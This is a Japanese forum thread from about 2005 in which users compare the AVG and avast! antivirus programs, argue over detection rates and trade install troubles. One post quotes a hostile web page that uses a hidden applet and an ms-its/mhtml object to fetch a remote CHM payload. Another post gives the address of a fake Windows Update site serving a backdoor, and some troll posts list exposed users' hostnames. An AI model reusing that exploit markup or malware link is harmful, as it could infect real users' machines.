http://tool-ya.ddo.jp/2ch/trash-box/file/20050408032746170.jpg
http://tool-ya.ddo.jp/2ch/trash-box/file/20050408032809172.jpg
http://tool-ya.ddo.jp/2ch/trash-box/file/20050408032835173.jpg
http://tool-ya.ddo.jp/2ch/trash-box/file/20050408032902175.jpg
http://tool-ya.ddo.jp/2ch/trash-box/file/20050408032937176.jpg
http://tool-ya.ddo.jp/2ch/trash-box/file/20050408032958177.jpg
http://tool-ya.ddo.jp/2ch/trash-box/file/20050408033018178.jpg
http://tool-ya.ddo.jp/2ch/trash-box/file/20050408033043179.jpg
http://tool-ya.ddo.jp/2ch/trash-box/file/20050408033109180.jpg

偽のWindowsUpdatesサイトからダウンロードしたファイル
　　　Wupdate-20050401.exe
AVG/AVAST/AntiVuir どれも検知しないぞ
ネットで検体を調べたら13中8がバックドアとして検知

よって、AVGもAVASTも五十歩百歩

アドレス貼り忘れた
http://221.151.249.236/update/?

>>243
貼るなよ

晴れよ

ハレルヤ！

Wupdate-20050401.exe
ウイルスかね

スパイウェアじゃねーの

AVG！AVG！AVG！

>>242
ノートンとかバスターは検知できるの？

>>250
自分でWupdate-20050401.exeをDLして試してみたら?
体験版使えば買わなくてもいいし。

>>251
そんなもんダウンロードしたくないし面倒だから(´･д･`) ﾔﾀﾞ

>>251
めんどいからしねよ

だったら聞くなよ(´･ω･`)

>>254
教えれつってんだ

http://virusscan.jotti.org/
で調べたら13件中8件が検出

※セキュリティホールメモ（←アドレスは自分で探してくれ）情報によれば
ウィルスバスターでは検知
ノートンについては不明

張るなよ

どちらがよいかは知らんが、どちらが厨かといえばavast!

ノートン最高ということで

ノートン先生よりはどちらも優れてると素で思う

検出しないソフトは無料でも要らない

100%検出する必要なんかないよ。
「大部分」でも十分。
俺たち普通のスキルも持ち主はまず感染しないからだ。
必要はないが、億のひとつの事態に対する保険程度だから。
リアルタイムチェックより、むしろ通常は、定期的に「感染していない」事の確認をするのが目的だ。
むこう10年間にもし１回でも感染したら記念にPC買いなおすかな。

↑セキュ板から消えろ

ちむりいいいいいいいいいいいいいいいいいい

>>242
出所の怪しいexeなんか実行しないから
どのアンチウイルス使っていても同じ。

＞偽のWindowsUpdatesサイト
なんだこれ？はじめて聞いた。

>266

フィッシング詐欺サイト情報
http://www.rbl.jp/phishing/index.php?UID=1112856873
の７日〜10日に載ってる。
YahooNewsでもやってた。

ブラクラ

>>267
＞リンクをクリックすると危なそうな.exeファイルがダウンされますのでご注意。
誰でもクリックしただけでダウンされるってセキュリティレベル中でもか？
そもそもUpdateで.exeファイルを実行することなんてないと思うが。

(´,_ゝ｀)ﾌﾟｯ

笑ってないで教えろゴルァ

>>266
そもそもどうやって、そんなサイトに行かされるのかと…

Windows UpdateってWindowsのメニューか、タスクトレイに
出てくるアイコンからしか普通は行かないじゃん。

そうだよな。行った奴はどういう経緯かを説明して欲しい。

WindowsUpdateを促すメールのハイパーリンクとか

つーか、なかなか繋がらないねえその偽サイト
最近ウィルス対策ソフトを入れ替えたからテスト用のサンプルが欲しかったのに（笑）

インターフェイスがかっこいいのはどっち？
タスクトレイのアイコンとかも

avast

VIPにスタア錦野旦降臨中！記念カキコしる！
http://ex10.2ch.net/test/read.cgi/news4vip/1113134788/l50

>>134
　ノ――　　|　　-―-　　　ヽ　　　　　　 ＿/＿　　　
　　二二　　|　　　　　　　　人　　＿　　　 / ＿
　　メ　ι　.レ　 ヽ--　　／　＼　　_）　　/　＿　。

　　　　　　　 ノ　　　　　　　　　　　i
　＿|＿　　 ´|＿　　|　　-―-　　コ二　　＿＿
　|　　　|　 ￣|　　　|　　　　　　　　 ゝ　　　　／
　　　／　 　ノ　　　レ　 ヽ--　　　（_　　　　 ＼

　 __i__ ._i_　　ーﾉ―　　.＿＿　　　　　 ＿__　　　　＿＿　　　　　　　　　　　　　＿ 、、　
　 /ﾉ　__|__　 ノゝ＜　　　 .／　　　　／　／　｜　　　／　　｜　ヽ　　｜　ヽ　　∠＿　　
　 メ　 /|ヽ　　（＿　　　／　ア　ツ　　／　　　ヽ_ﾉ　　＼　　レ　　|　　レ　　|　　　（　　。

>>279
お前、avast!厨だろ。

盛り上がってまいりました！

avast使ってたんだけど、ショボイＰＣでネトゲやってるから軽い軽いってほざいてるAVGに変えてみたんだが
あんま変わらん、むしろちょっと重くなったような希ガス

んなこたーない

ある

両方使ってみたけど明らかにAVGのほうが軽かったけどなぁ（５００MHｚ６４M

>>285
　>>283

ＡＶＡＳＴはスタートするまでのメモリースキャンが長い。

プゲラ

>>282
あらゆるプログラムを妨害する目的で作られたavast!に満足な人は、使えばいい。
お好きなように。

くだばれlivedoor
http://news19.2ch.net/test/read.cgi/news/1113626516/

























くだばれlivedoor
http://news19.2ch.net/test/read.cgi/news/1113626516/

駄目な奴は何をやっても

逆に出来る奴は（ry

>>290
サッカーの話はスレ違い

Pen4 3EGHz、メモリ1024MBでAvastは重いか？

重い

　

AVのほうが軽いよ

ＡＶＧもavastも糞フト
ノートン最強

よかったな

>>298
スレ違いだよ

http://life7.2ch.net/test/read.cgi/utu/1105612943/

Avast使ってるんだけど、この前、友人のPC内でウィルスを３つ発見した。
http://virusscan.jotti.org/
で調べてみたら、AVGでは１個しか検出しなかった。
ウィルスバスターで調べたら、３つともウィルスだった。
Avast使ってて良かった。
これまでノートン使ってたことを考えると、どのアンチウィルスソフトも、すごく早く感じる。

>>301
ウィルスが見つかった時点で論外。
その友人が生まれたのが失敗。

↑ＡＶＧ厨が必死です

avastは会社が糞

糞は>>301の友人

誤解を招く表現で失礼しました。
こんな流れ

俺：元Norton→現Avast
友人：プレインストールのアンチウィルス（期限切れ）

友人のPCにAvast入れたらウィルス検出

>>301のリンク先で調べたら、他のウィルス対策ソフトでもウィルスとして検知してた
のが多かった（AVGについては既述）から、誤検知ではないと判断

念のためチェストから検体を取り出して別のPCのウィルスバスターで調べたら、やはりウィルスとして検出

結果、Avastにしておいて良かった

アンチウィルスなしで数年程度使って感染するのは厨だよ。
バカだ。

AVGキンタマ対応したし適う者なしだね

ま、自分のPCスペックにあわせて選びなさいってこった。

ノートン最強

好きなの使えってこった

ウイルスバスターにするか

あヴぁすと、キンタマ対応しますた。
あヴぁストの勝ちですね

アヴァストforキンタマ

システムリソースの残について。PC起動直後。

マカフィーのVSO+PFW　＜＜＜　avast　<　AVG＝マカフィーVSO　＜＜＜　何も使わない

avastとAVGは3％ほどの小さい差。VSだけだとavastよりマカフィの方が若干とはいえ軽いのは意外だった。

avastってライセンス一年で切れるじゃん

( ´,_ゝ`)ﾌﾟｯ

Pro.ならそうだね。2年か3年にもできるけど

俺んとこのProは2011年までだがな。

それは関係ない

>>320
あ？何が？

期限切れはNeverだし、アップデート期限が2011年ってなってるけど？

やっぱり関係なかったじゃない。アップデート期限でしょ。

>>316
切れたら更新すれば更に14か月使えるって書いてあった。
今のままだったら、半永久に使えるよ。

2Get

遅ぇよ（笑）　どこの誤爆だ

>>325
うるせぇよ

こっちは趣味でやってんだ。

2Get 2Get

偽物ＵＺＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥＥ

>>326
おまえ誰だよ！
324は俺だよ！

(´-`).｡ｏO(板すら間違って誤爆したなんて言えないよ・・・。)

pen�V650mhzでavast使ってますけど全く重くないですよ。

ウィルスバスターはフリーソフト以下

3get

質問なんですけど、ＡＶＧ日本語表示にするのって可能ですか？
昨日の夜見たけど分かりませんでした

>>332
なんかの有料ソフトと組合わせれば桶だと思った
ハッキングして書き換えるのは不可

>>330
ウイルスバスターはウイルス以下だろ

被害はウイルス以上

ウイルス対策ソフトの検出力調査結果
http://www.geocities.jp/stealrush/security.html

>>332
日本語厨はavast!をどうぞ。

>>336
これを見る限りAVGよりavastの方がウイルスの検出力が高いと証明されたみたいだね。
それにしてもAVGの検出力は悪いなぁｗ。

1. Kaspersky Personal Pro version 5.0.20 - 99.28%
3. F-Secure 2005 version 5.10.450 - 97.55%
4. eScan Virus Control version 2.6.518.8 - 96.75%
5. Norton Corporate version 9.0.3.1000 - 91.64%
6. Norton Professional version 2005 - 91.57%
7. McAfee version 9.0.10 - 89.75%
8. Virus Chaser version 5.0 - 88.31%
9. BitDefender version 8.0.137 - 88.13%
11. Panda Platinum 2005 version 9.01.02 - 87.75%
16. Panda Titanium version 4.01.02 - 86.27%
17. PC-Cillin 2005 version 12.1.1034 - 85.98%
18. Nod32 version 2.12.4 - 85.66%
20. AntiVir version 6.30.00.17 - 84.50%
21. Avast version 4.6.623 - 76.65%
23. Sophos Sweep version 3.91 - 73.79%
28. AVG version 7.0.308 - 54.07%
29. E-Trust version 7.0.5.3 - 52.35%
35. ClamWin version 0.83 - 48.44%
39. V3Pro 2004 - 38.87%

avast とか AVG って、
antiwinny などのウイルスにも対応しているの?

Norton の期限が切れたので、お金を払って更新しようか、
avast に乗り換えようか検討しています。

>>338
>>44のリンク先見てみ

残念ながらkaspはないが、4番のeScanはあるから参考になるだろう
で、リンク先の＃１で見るかぎりじゃ確かにAVGは低い
が＃１７と＃１９を見れば分かるが、要するに守備範囲の違いだ

で、おれてきな結論は、アンチトロイと併用すればいいんじゃねぇの
ってところだ

>>339
http://pc8.2ch.net/test/read.cgi/sec/1112543643/421

ttp://www.canon-sol.co.jp/security/v_b/pdf/01_VB_Jun03_VBJP.pdf ７/12ページ
ttp://www.canon-sol.co.jp/security/v_b/pdf/03_VB_Aug03_VBJP.pdf　７／１２ページ
ttp://www.canon-sol.co.jp/security/v_b/pdf/09_VB_Feb04_VBJP.pdf　７／１２ページ

検出率じゃ、AVGってavastに絶対勝てないんだな。
もう意地だけでAVGの良かった探ししてる人が惨め過ぎ。

確かにAVGって毎回のように検出率は下位なわけだが、どうして改善しない？
検出率以外の使い勝手や軽さに力を入れすぎてる？
会社に優秀な製作者がいないから？
ま、そう言いつつも、軽いし、使い慣れてるので、AVG入れてるわけだが。

検出率うんぬんに拘るよりも
ウイルスに感染しない方法を考えた方がいいと思う。

>>343
先月までウイルスバスターを使ってたけど、マイナーな
ウイルスって来た事がないから、今はAVGでいいや。

ＡＶＧ厨が必死ですwww

必死に宣伝するってことは相当惚れ込んでるんだろうね。

俺はavast使いだが。

↑カミングアウト

>>343
多分他社と競合しないように、安い値段で主に流行していそうなものを
見つければいいんだという考えでやってるんだよ。

アバストとAVG両方入れて使えばｲｲ♪
更にバスターとノートンとかも入れちゃえばサイコーにはっぴー♪
何で誰も気づかないんだろ？
バカしか居ないからかな？

水と油を完全に融合する技術の確立が必須です

マヨネーズ

※VB 100% Award受賞回数

Eset(NOD32) 34回中31回　９１．１８%
Symantec（Norton） 33回中27回　８１．８２%
Kaspersky ３９回中２６回　６６．６６%
Trend Micro (PC-cillin) １９回中１２回　６３．１８%
McAfee Inc. (Network Associates) 37回中19回　５１．３５%
　　　　　　　↓
　　　　　　　↓
　　　(越えられない壁)
　　　　　　　↓
　　　　　　　↓
　　　　　　　↓
　　Alwil (Avast!)３１回中１２回　３８．７１%
　　Grisoft(AVG) 28回中8回　２８．５７%

　　　　*Trend Micro (PC-cillin)=ウィルスバスター

http://www.virusbtn.com/vb100/archives/products.xml?

社員乙

>>354
貧乏人乙w

*Trend Micro (PC-cillin)=ウィルスバスター
ﾜﾛｽ

http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040608/145540/
米Trend Microが販売している「Trend Micro PC-cillin」を対象としているが，PC-cillinの“中身”は基本的にはウイルスバスターと同じである。

>>349
なるほど。
開発、販売などのスタンスが他社とはかなり異なるんだね。

VB 100% Award受賞回数
って何？
数字だけ並べられても意味が分からん

>>359
とりあえず最近の受賞状況を見ておけば大丈夫

カビ臭いコピペわらかすwww

なんでAVGユーザーはウイルスの検出力がavastより低い上に、日本語に対応していないAVGを使い続けるの？

軽さじゃないかな。低スペックの人は。

操作が一目瞭然、かつ英語も簡単なら別にいいや、とは思う
「日本語環境だと正常動作しない」ならもちろんイヤだがね

確かに、AVGもAd-Awereも英語のわりには使いやすい

>>362
英語が読めるから

英語ができないAVASTユーザー

ウイルスファイルを持ち込まない俺は
正直どちらでもいい

>>367
ＡＶＧの英語なんて、単語を除けば中学レベルだろ。
あの程度で、英語を使えると思っているとしたらかなり痛い。

英語力は別にしても英語のソフトってだけで毛嫌いする奴もちょっと痛い

英語が赤点AVASTユーザー

どっちみちフリーだと併用するから軽いほう誤検出がないほうを選んでる
タマも対応してるし

フリーのアンチウイルス製品探してたまたまAVGを最初に使ってみて
不満が無かったから

AVGもAvastも糞

自分が(・∀・)ｲｲ!と思った方を使えば宜し

ノートン最強

に重いな

だがそれが良い。

・・・とフリーアンチウイルスソフトの台頭に焦るシマンテック社員が仰っております。

ルーターがあれば、そこそこで十分って気づかれちゃ困るもんね。
変な所に行く人は入れてねって、はっきり言えねーだろうし

厨はavast!

AVA使いじゃないけど、重いって言ってもメールスキャン止めればそうでもないだろ
添付ファイル開かなきゃ別にチェックの必要もないと思うんだけど

>>360
そうそう。受賞回数なんて意味無いお。
以前のバージョンの結果も含まれてるかだ。

添付ファイルも怖いけど、HTMLメールも怖いでつ。

タダで軽いから使ってます。

なんでAVGユーザーはウイルスの検出力がavastより低い上に、日本語に対応していないAVGを使い続けるの？

乗り換えるほどの決定的な違いが無い

似たようなスレッド立てる人って何処にでもいるんだね w

ttp://www.wilderssecurity.com/showthread.php?s=6af76a11d21ce6114b11709f9b95635a&t=77532
AVG vs Avast!

ウイルスの検出力に拘る奴って、
そんなにウイルスファイルを実行するのか？
普通に使ってればウイルスファイルがパソコン内にあっても発病はしないと思うんだが。

ウイルスの検出力に頼らなきゃならないほどスキルが低いって事か？

ウイルスの検出ソフト入れる奴って、
そんなにウイルスファイルを実行するのか？
普通に使ってればウイルスファイルがパソコン内にあっても発病はしないと思うんだが。

ウイルスの検出ソフトに頼らなきゃならないほどスキルが低いって事か？
まぁどうせ入れるならもちろん検出力は高い方がいいだろうけど

まあ無料だしいいんで内科医？
有料なのに検出率が低いV3に比べれば。

なんで「内科医」が関係あるの？

>>392
かなで嫁。

「 かなで嫁。」？？？
バカじゃねーの

半年ぐらいロムしとけ。
てかたぶんわざとか・・

スルーでいいんで外科医ｗ

小児科医な

眼科

千代大海

やっぱりノートンだな

今から産婦人科医になろ

カメラで記録係します。

やはりCPUの耐久テストがおまけに付いてくるVBだろｗ

AVGとavast!はどっちも優れているよ。
軽さと無駄な機能を省いてアンチウィルスの特化しているAVG。
日本語対応で多くの防御機能を備えたavast!。
ってかそろそろここもID出るようにしてくれまろゆき！

>>403
全国のスミスが炎上しますた

ノートン最強

　　　　　　　　　　　　　　　　　　○
　　　　　　　　　　　　　　　　　　ο
　　　　　　　　　　　　　　　　　　o

　　　　　　　　　　　,, --──-- ､._
　　　　　　　,.-''"´ 　　　　　　　　　 ＼
　　　　　／　 　　　　　　　　　　　　　　ヽ､　　　となればいいなと心から思うブーンであった
　　　　/　　　 　／＼　　 　 ／＼　　　 　ヽ
　　 　 l　　　, , ,　　 　 　 　 　 　 　　 　　 　 l
　　　 .|　　　 　　　　(_人__丿　　"""　　 　　|
　 　 　l　　　　　　　　　　　　　　　　　　　 　 l
　　　　` ､　　/⌒⌒i　　　/⌒ヽ　　　 　 　 /
　　　　　　`/　　　　| 　　| 　　　＼　 　　／

ＡＶＧ＋Ｓｙｇａｔｅで１ヶ月経過，今日ノートンとチェイサーの
オンラインスキャンを試してみたけど，両方ともクリア。一応，キ
ラーを今日買ってみたけど，このフリー版で暫く様子を見ます。
思ったけど，ウイルスソフトに金払う必要あるの？

知らん。

Sygateはイイんだけど重いから使いたくない。

Ｓｙgateはなんか最後に起動するようなんですね，Kerioのほうが
いいのかな？

Kerioは4は重いっス。
で、結局軽いOutpostに戻っちゃった。

Outpostなんて(ry

FWやウィルス対策を入れるのはもちろんだが、
OS自体の設定も見直さないとな。

デッドロックしちゃうVBに比べればどのウィルス対策ソフトも軽いとｵﾓﾜﾚ

2年ほどAVGとSygateだったがFWをSafety.Netに替えた

AVGがFreeとProで検出率が違う件について

>>417
AVGはFreeとProで検出率が違うんだ
その点avastはいいね
無料のHomeも有料のProも、エンジンとデータベースは同じだから

アヴァスト最高です！！

三人成市虎

件名だけで本文の無い書き込みがあちこちの板に散在している訳だが

AVGが軽いってほざくからavastやめてAVG入れてみた
ネトゲがavast使ってたころよりかなり重くなったAVG入れたら

どっちが軽いかだなんてただの感想だろう
むやみに替えたあんたが悪いんだ

AVASTはメールのリアルタイム監視を解除すれば普通に軽くなる。
わけわからない添付ファイルを開かなきゃいいんだから、監視している必要はないだろ。
それより、ウィルス感染のサイトに反応してくれるほうがありがたいよ。

>>424
MUA入ってない計算機でavast!使ってるから平気。

AVGを使ってるのだがmellpoウイルスは検出できませんでした。
感染したことに気づいたのは、スタートアアップ監視ソフトがスタートアップ変更を検知したため。

まずウイルスに感染した事を恥じるべきだろう

>>424
普通に軽くなるってどの位だよ、ハッキリしろ死ね

etrustもいいよ

>>428
低スペックマシン使いｷｷｷﾀｰｷ━━ (*｀Д´)=○)Дﾟ) ´Дﾟ)･;' ﾀｧ━━!!

ＡＶＧ厨必死すぎw

どっちも必死すぎ
好きなのを使えばそれでよし

avastインストールしようとしたら、｢システム上に他のアンチウィルスを発見しましたこのプログラムをインストールすると次のプログラムと競合する恐れがあります｣と、表示されました。どうしたらいいんですか？

http://TPH1Abe210.tky.mesh.ad.jp/
ｗｗｗうぇｗｗｗ
ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
ｗｗｗｗｗｗｗｗｗっうぇｗｗｗｗｗｗ
おｋｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗっ

山田ウイルスが流行っているようですね

さて、山田ウィルスに感染したのは
　　　AVGユーザー
なのか
　　　avastユーザー
なのか知りたい

どっちも対応していないと思われ

avast入れたらまともに起動しなくなった

やっぱノートンだな

なんか工作員がいるな

VBS.LoveLetter.A アバスト反応なしだった

ガセをするーするなら正常

http://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/jp_docid/20021021163434958

http://ntgnma039180.gnma.nt.adsl.ppp.infoweb.ne.jp/
ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗっｗうぇｗｗｗ
ｗｗｗ
うぇｗｗｗｗっうぇｗｗｗｗｗｗっうぇｗ

ｗｗｗ
っうぇｗｗｗｗ
ｗｗｗｗｗｗｗｗｗｗｗｗっｗっ

これだけは言える
山田に感染してるPCにはバスターが入ってる

バスターの更新が実は山田だった、という可能性は

山田はウイルスとしては不完全

>>445
呼んだ？
ttp://internet.watch.impress.co.jp/cda/news/2005/04/14/7289.html

ttp://pc3164.chukai.ne.jp/
おｋうはっｗｗっおｋっｗｗｗうはっうはっうぇｗｗうぇ
ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
っおｋｗｗｗおｋｗｗｗｗｗｗｗおｋうぇうぇｗｗｗ
っｗｗｗｗｗｗｗｗｗｗｗｗっｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

バスター使いが多い原因
1.Nortonと並んでユーザーが多い
2.Nortonと違ってデフォルトでファイアウォールのアウトバウンドの制御がなされていない。
この2点が主な原因と考えられる。2に関してはユーザーを混乱させないための処置と思われるので
バスターが悪いとも思えない。

>>447
亜種には対応していないものがあります。

>>449
Norton使いも２ちゃんへのIP晒しの書き込みは阻止できても実際には感染してる
奴は多いと思われ

とりあえずavast!を使ってみます。
まだ何とも言えません

３年間VBにはお世話になりました

AVG FREEは、REALTIME PROTECTでもないのに,スタートアップから起動
して、Ca eTrustのEMAIL PROTECTIONを阻害するのでmsconfigでスター
トアップから外してやった。ちょっとスパイウェアの様で気味悪いな。
その点、ａｖａｓｔはCa eTrustを阻害することもなく宜しい！

Avast無問題
XP２台、98SE４台に入れてるけどAvastによる不具合無し

>>452
根本的に勘違いしている

>>454
説明できないおまえはうんこ

http://ZM160194.ppp.dion.ne.jp/

おｋｗｗｗｗおｋｗｗｗおｋｗｗｗうはっｗｗｗ


ｗｗｗおｋｗｗｗｗ

ｗｗｗｗｗｗうぇｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
ｗｗｗｗｗｗｗｗｗｗｗｗｗっ

>>454
AVGはスキャンしたい時に動けばいい。メールスキャンはａＶａｓｔ
とｅＴｒｕｓｔで監視させるから。

・Webメールがメイン
・何か突かれるかも知れないOutlookは使っていない
・・・・という漏れは常駐メールスキャン不要であります 2ch層だと結構居そうだけど

AVG Basic interface・AVG E-Mail Scanner・AVG Update Downloader
の中で，AVG Basic interfaceが何かいやだ。登録キーから始まり，
監視している感じ。

監視されるとまずい事でもしてるのか？

いちいち固有の文字列割り当てて監視する金があったら服買う ;-)

俺なんてメールなんて使ってないからなあ・・・・・・｡･ﾟ･(ﾉд`)･ﾟ･｡

ＡＶＧの検出力ﾖﾜｽ

AVGアンインストールした。スタートアップから外したり，色々とメールスキ
ャンの設定試したがやっぱりCa eTrustと折り合いが付かなかった。これによ
りCa eTrustのEMAIL Protectionも完全復活した。
　その代わりといっては何だが、ScanSpywereを入れた。

それがどうした

文句があるか？　岡　千秋

↑新種のウィルス

「箱を運ぼう」が最新だと言うやつ

価格ドットコムウィルスにはどっちが対応してまつか

NOD32

BitDefender

AVGとAVAST　どちらがよいか　
今回価格ドットコムの件で明らかになった

結論：どっちも役たたず

>>472みたいな馬鹿はほっといて、ささ続きをどうぞ^^

963 名前：名無し~3.EXE：2005/05/16(月) 02:01:40 ID:ztxP1gE+ ?#
winamp5.09 日本語化パッチ第２版のgen_jkit.dllでウィルス反応が出ました。avast!4で検索しました。

トロイの木馬
Win32:SpyBot-A1855 [Trj]

他のウィルスソフトでは反応でますでしょうか？

<script language="JavaScript">
var lang = navigator.systemLanguage;
if (lang == "ru") document.location = "http://awmcash.biz/adverts/nafig.html";
if (lang == "cn") document.location = "http://awmcash.biz/adverts/nafig.html";
if (lang == "zh") document.location = "http://awmcash.biz/adverts/nafig.html";
</script>
<html>
<head>
<title></title>
</head>
<body>
<applet CODE="BlackBox.class" width=1 height=1></APPLET>
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/x-scriptlet"></object>
</body>
</html>

出ません
誤検出です
安全です

なんかこのスレのdatからトロイが検出されたとavastが騒ぐ。
ウイルスコードにも対応したのか？

AVGだとチェックが入る
Avestは騒ぐ
雑音は馬鹿

>473
真の馬鹿は感情に流されて
大事なことを見失う

>>477
AVGとBitDefenderのコマンドライン版でチェック（パターンファイルは最新）
したが何の反応もなかった・・
でも、以前、2chのdatファイルから、ウイルスが検出されたと騒いでいた
アンチウイルスソフトはあったな。何ていうソフトだったか忘れたけど
Avastではなかった（インストールしたことさえないから）

>>480
ノートンの誤検出は有名だし
程度の差はあれ他のアンチウィルスでも起こり得る

avastとノートン先生がタイプは違うがコードに反応するようだ

　

>>481
ノートンは「疑わしきは黒」と言う哲学で作られてるからな。
WindowsのDLLすら信じてねぇし。

ノートン先生は「推定有罪」の理念です。
なので安全です。

>>484
それいえてる。便利なコンポーネントがたくさんあるのに、
ドロップダウンどころか、全部自前（ｗ
全部ロードしてくるから、もう遅いのなんの。
最初はギャグかと思った。

まあ、Windowsネイティブのコンポーネント使うと
中身を見られるからなんだろうけど、
そんな盗み見てるやつが常駐してるような環境ならもう
終わってるだろうに（ｗ

素直に、バスタやマカフィみたいに楽になればいい。
サクサク動く（ｗ

VBS.LoveLetterウイルスに反応しないのはウンコソフト

>>479
馬鹿乙

>>477
>>474-475

昨日からAVGのEmail-Scannerがあるとメールがとれなくなった。
disableにするととれるのだが。

Nortonからavastに乗り換えたんだけど、軽くて快適。Nortonは重すぎ。
俺は常駐してくれるavastをメインに、BitDeffenderとewidoで定期スキャン。
FWはZoneAlarmを使っています。P2Pをするのでいろいろ手を打っておいた
方がいいと思いまして。

McAfeeからAVGに乗り換えたんだけど、軽くて快適。McAfeeは不具合多すぎ。
俺は常駐してくれるAVGをメインに、BitDeffenderとSpybot、Ad-Aware SEで定期スキャン。
FWはZoneAlarmを使っています。P2Pはしないが物騒な世の中いろいろ手を打っておいた
方がいいと思いまして。

>>491-492
BitDefender だよ

>>490
Email-Scannerなんてウンコだから必要ありません。
わたしゃ　バージョンアップ（←諸悪の根源）した時から切ってますが
問題ありません。

ZoneAlarmをSafety.Netに替えてみな。

>>490
火壁がプログラム見て弾いてるとか？ﾜｶﾗﾝが

>>494
さっき試したら直ってました。
一応つかい続けます。

497です。
直ってたと思ったのは、Scannerを切ってただけでした。
やっぱりダメでした。

sygateとAvastの組み合わせは駄目なのか？

FWでIEとか｢尋ねる｣にしてるはずなのになぜか尋ねてこない？
つーか勝手につながってるし。。
どなたか対処法とかわかりませんか〜

あ、ミスorz

http://knowledge.yahoo.co.jp/service/question_detail.php?queId=4115172&flag=5

( ´,_ゝ`)ﾌﾟｯ

ぽたぽた焼きが喰いたくなった
_･)ぷっ

友人、親兄弟にはAvastを勧め、自分はAVGを使っている。
やっぱりAVGは日本語化できないから人に勧めずらいかな。

AVGもAvastも検出率は50歩100歩
両方ともほぼ毎日アップデートされている

軽さ優先ならAVG、日本語でなければダメな人はAvast

両方ともVB100受賞したらしいし、どっちでも良いんじゃないか

どちらも有償版とウイルス定義は同じなのですか？

同じじゃないと悪評が立つ

なんかAVGのE-mail ScannerがAutomaticで動かないケースが分かった。
AirH"の高速化ツールVenturi Clientを起動し、起動した状態でoffになっているとうまくいかない。
終了させるかonであれば動く。

でもE-mail Scannerがどういう風に変更になったのだろう？急に動かなくなったからなあ。

Automaticってどうやってるんだろう？
ログを見たらなんかつながるポートをサーチしてたみたいだけど。

有償か無償かよりも、キンタマに対応しているかどうかが問題なんじゃﾈｰの、アンチウイルスソフトって？

なんで？

山田もな

　

WIN_XPまでならAVG、WIN_XPx64EならAvast

結局ノートンが一番いいんだな

頭痛に

キャベツー

あれは一種のproxyとして働く。
通常110,25をつかって外と送受信しているが、
E-mailscanがあると、
メーラー(110,25) <-----> AVG(localhost(127.0.0.1)) ウイルスチェック
AVG(10110,10025) <-----> メールサーバ
となる。

と、ここまで書いて、490はそんなことわかってることに気が付いた。
せっかく書いたのでついでだからそのまま書いちゃう。



aotomaticやめて、手動設定したら？
Venturi Clientがどういうソフトかわからないが
対策難しいかな？

aotomaticあげーるよー

久しぶりにAVG入れたら窓の手の掃除人を誤検知した件について

>>519
俺漏れも。
突然でびっくりした。

まぁありがちだよな
システムいじるんだから

件名はいいから本文を書いてくれ

avastｲﾝｽｺしてnetstatでPortの状態確認したら、
10000台Portの127.0.0.1の自アドの状態が変になっていた。
あれって、どんな意味があるんしょ？

窓の手の3つのファイル検知して、さっさと削除してくれた・・・。

>>524
まあ誤検出だがな。
英語環境じゃなけりゃ関係ないらしい。

AVG

シャットダウンでこけるのでAvastからAVGに乗り換えた
XPSP2

どっちにしても、スタートアップでこけるマカフィーよりは良いのでは？
今、AVAST使っているけど、問題ない。

PC-Sillin最高！
http://www.trendmicro.com/en/products/desktop/pc-cillin/evaluate/overview.htm

>>529
ウィルス上げ

AVGインストールしたら起動出来なくなった(泣)しょうがないからセーフモードで起動して消してやったらちゃんと動いてくれた。
そして今はavastを使ってる。〜断然avastのほうが吉！

avast!インストールしたら起動出来なくなった(泣)しょうがないからセーフモードで起動して消してやったらちゃんと動いてくれた。
そして今はAVGを使ってる。〜断然AVGのほうが吉！

これがAVG厨の嫌がらせですな＾＾
やることが厨房なんだよな〜
ってこのレスもAVG厨がまたavastに変えてコピペするから
↓

(　ﾟ,_ゝﾟ)ﾊﾞｶｼﾞｬﾈｰﾉ

これがavast厨の嫌がらせですな＾＾
やることが厨房なんだよな〜

ほら

http://www61.tok2.com/home/handaikyudo/photographs/13summer/7-31/image003.jpg

高性能PCを持っている
↓
とりあえず、avastを入れる→動作問題なし、重く感じない→avastをそのまま使う
↓
動作問題あり、もしくは重く感じる
↓
AVGにする

avast厨は出て行ってくれ

>>539
AVGだけの話をしたいなら、AVGのスレ行ってくれ。

eTrustがおすすめ！

>>538
高性能PCを持っているならavastが重く感じることないだろ

ところがどっこい

↑
ばか

すっとこどっこい

えーっと。３分かけて前レスを読みますた。
どっちがよいのか判断できなかった。そろそろ結論ヨロ。

>>546
好きな方で

自分に最適な環境を一日掛けて作ってAcronis True imageでバックアップ。
KerioとKaspersky personal proの30日トライアル版をインスコ。
30日後復元して又インスコを繰り返してる漏れは勝ち組。

avastが重く感じないのはどれくらいのスペックあればいいの
明日論1800 512MB　なんだけど

ペン3の１Gでも重くかんじないけどな。

２ヶ月無登録で使えるから試せば
重くはないが常駐させるとメモリ３０Ｍくらい掛かるね

試してみまつ
FWは別のソフトがいるんだよね

いる

test

test乙

avastは
1. 標準シールド
2. Outlook / Exchange
3. インターネット・メール
4. WEB シールド
5. インスタント・メッセージ
6. P2P シールド
7. ネットワーク・シールド

の7つの機能が初期状態でインスコされる
AVGはavastでいうと標準シールドとメールチェックの二つだけである
当然インスコした状態でそのまま使ってれば、avastのほうが重いに決まっている
AVGと同じように1番と2or3番（使ってるメーラー次第）の二つだけにすれば重さは一緒or軽い
使わない機能だけをプログラムの追加と削除から、アンインストールできる
基本的には1番と2or3番だけでOK

AVGのメールスキャナはよく受信が止まるのが嫌。
その都度メールスキャナを無効にしないといけない。
何かメールプロキシとして致命的な欠陥がありそう。
それとOS起動にやたら時間が掛かるのがイクナイ。
頻繁にアップデートしてくれるのはいいんだけどね。

avastはライセンス条件や登録方法が分かりにくいので敬遠してたけど、
使ってみると案外良かった。

>>556
なるほど、分かり易いな。

1番と3番だけだとメモリ15MBほど使用な感じ＞＞avast

